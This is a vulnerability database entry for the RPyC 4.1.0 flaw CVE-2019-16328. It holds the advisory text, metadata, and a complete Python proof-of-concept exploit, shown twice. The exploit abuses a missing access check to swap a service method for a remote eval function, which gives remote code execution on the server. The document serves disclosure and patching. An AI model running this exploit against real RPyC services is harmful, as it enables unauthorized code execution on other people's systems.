GHSA-PJ4G-4488-WMXM
Vulnerability from github – Published: 2021-02-17 19:50 – Updated: 2021-09-27 22:48Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.
Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.
Workarounds
The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.
References
CVE-2019-16328 RPyC Security Documentation
For more information
If you have any questions or comments about this advisory: * Open an issue using GitHub
Proof of Concept
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
_builtins = remote_modules['builtins']
remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}
# populate globals for CodeType calls on remote
remote_globals = remote_builtins['dict']()
for name, netref in remote_builtins.items():
remote_globals[name] = netref
for name, netref in self.netref_getattr(remote_modules, 'items')():
remote_globals[name] = netref
# create netrefs for types to create remote function malicously
remote_types = remote_builtins['__import__']("types")
remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')
# remote eval function constructed
remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
# PoC CWE-913: modify the exposed_nop of service
# by binding various netrefs in this execution frame, they are cached in
# the remote address space. setattr and eval functions are cached for the life
# of the netrefs in the frame. A consequence of Netref classes inheriting
# BaseNetref, each object is cached under_local_objects. So, we are able
# to construct arbitrary code using types and builtins.
# use the builtin netrefs to modify the service to use the constructed eval func
remote_setattr = remote_builtins['setattr']
remote_type = remote_builtins['type']
remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)
# show that nop was replaced by eval to complete the PoC
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
def test_2_new_conn_impacted(self):
# demostrate impact and scope of vuln for new connections
self.conn.close()
self.conn = rpyc.connect("localhost", PORT)
# show new conn can still use nop as eval
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
if __name__ == "__main__":
unittest.main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "rpyc"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.1.0"
]
}
],
"aliases": [
"CVE-2019-16328"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2021-02-17T19:50:44Z",
"nvd_published_at": "2019-10-03T20:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n exposed_Fie = Foe\n\n def exposed_nop(self):\n return\n\n\nif __name__ == \"__main__\":\n server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__(\u0027sys\u0027)\"):\n return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n func_code = func.__code__\n arg_names = [\u0027co_argcount\u0027, \u0027co_posonlyargcount\u0027, \u0027co_kwonlyargcount\u0027, \u0027co_nlocals\u0027, \u0027co_stacksize\u0027, \u0027co_flags\u0027,\n \u0027co_code\u0027, \u0027co_consts\u0027, \u0027co_names\u0027, \u0027co_varnames\u0027, \u0027co_filename\u0027, \u0027co_name\u0027, \u0027co_firstlineno\u0027,\n \u0027co_lnotab\u0027, \u0027co_freevars\u0027, \u0027co_cellvars\u0027]\n\n codetype_args = [getattr(func_code, n) for n in arg_names]\n if filename:\n codetype_args[arg_names.index(\u0027co_filename\u0027)] = filename\n if name:\n codetype_args[arg_names.index(\u0027co_name\u0027)] = name\n mycode = obj_codetype(*codetype_args)\n return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n ver1_gt_ver2 = False\n for i, v1 in enumerate(ver1):\n v2 = ver2[i]\n if v1 \u003e v2:\n ver1_gt_ver2 = True\n break\n elif v1 == v2:\n continue\n else: # v1 \u003c v2\n break\n return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n\n cls.logger = logging.getLogger(\u0027rpyc\u0027)\n cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred\n cls.hscript = tempfile.NamedTemporaryFile()\n cls.hscript.write(SERVER_SCRIPT.encode())\n cls.hscript.flush()\n while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n pass\n cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n cls.conn = rpyc.connect(\"localhost\", PORT)\n\n @classmethod\n def tearDownClass(cls):\n cls.conn.close()\n cls.logger.info(cls.server.stdout.read())\n cls.logger.info(cls.server.stderr.read())\n cls.server.kill()\n cls.hscript.close()\n\n def netref_getattr(self, netref, attrname):\n # PoC CWE-358: abuse __cmp__ function that was missing a security check\n handler = rpyc.core.consts.HANDLE_CMP\n return self.conn.sync_request(handler, netref, attrname, \u0027__getattribute__\u0027)\n\n def test_1_modify_nop(self):\n # create netrefs for builtins and globals that will be used to construct on remote\n remote_svc_proto = self.netref_getattr(self.conn.root, \u0027_protocol\u0027)\n remote_dispatch = self.netref_getattr(remote_svc_proto, \u0027_dispatch_request\u0027)\n remote_class_globals = self.netref_getattr(remote_dispatch, \u0027__globals__\u0027)\n remote_modules = self.netref_getattr(remote_class_globals[\u0027sys\u0027], \u0027modules\u0027)\n _builtins = remote_modules[\u0027builtins\u0027]\n remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n # populate globals for CodeType calls on remote\n remote_globals = remote_builtins[\u0027dict\u0027]()\n for name, netref in remote_builtins.items():\n remote_globals[name] = netref\n for name, netref in self.netref_getattr(remote_modules, \u0027items\u0027)():\n remote_globals[name] = netref\n\n # create netrefs for types to create remote function malicously\n remote_types = remote_builtins[\u0027__import__\u0027](\"types\")\n remote_types_CodeType = self.netref_getattr(remote_types, \u0027CodeType\u0027)\n remote_types_FunctionType = self.netref_getattr(remote_types, \u0027FunctionType\u0027)\n\n # remote eval function constructed\n remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename=\u0027test_code.py\u0027, name=\u0027__code__\u0027)\n remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n # PoC CWE-913: modify the exposed_nop of service\n # by binding various netrefs in this execution frame, they are cached in\n # the remote address space. setattr and eval functions are cached for the life\n # of the netrefs in the frame. A consequence of Netref classes inheriting\n # BaseNetref, each object is cached under_local_objects. So, we are able\n # to construct arbitrary code using types and builtins.\n\n # use the builtin netrefs to modify the service to use the constructed eval func\n remote_setattr = remote_builtins[\u0027setattr\u0027]\n remote_type = remote_builtins[\u0027type\u0027]\n remote_setattr(remote_type(self.conn.root), \u0027exposed_nop\u0027, remote_eval)\n\n # show that nop was replaced by eval to complete the PoC\n remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n def test_2_new_conn_impacted(self):\n # demostrate impact and scope of vuln for new connections\n self.conn.close()\n self.conn = rpyc.connect(\"localhost\", PORT)\n # show new conn can still use nop as eval\n remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n```",
"id": "GHSA-pj4g-4488-wmxm",
"modified": "2021-09-27T22:48:17Z",
"published": "2021-02-17T19:50:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
},
{
"type": "PACKAGE",
"url": "https://github.com/tomerfiliba-org/rpyc"
},
{
"type": "WEB",
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"type": "WEB",
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dynamic modification of RPyC service due to missing security check"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.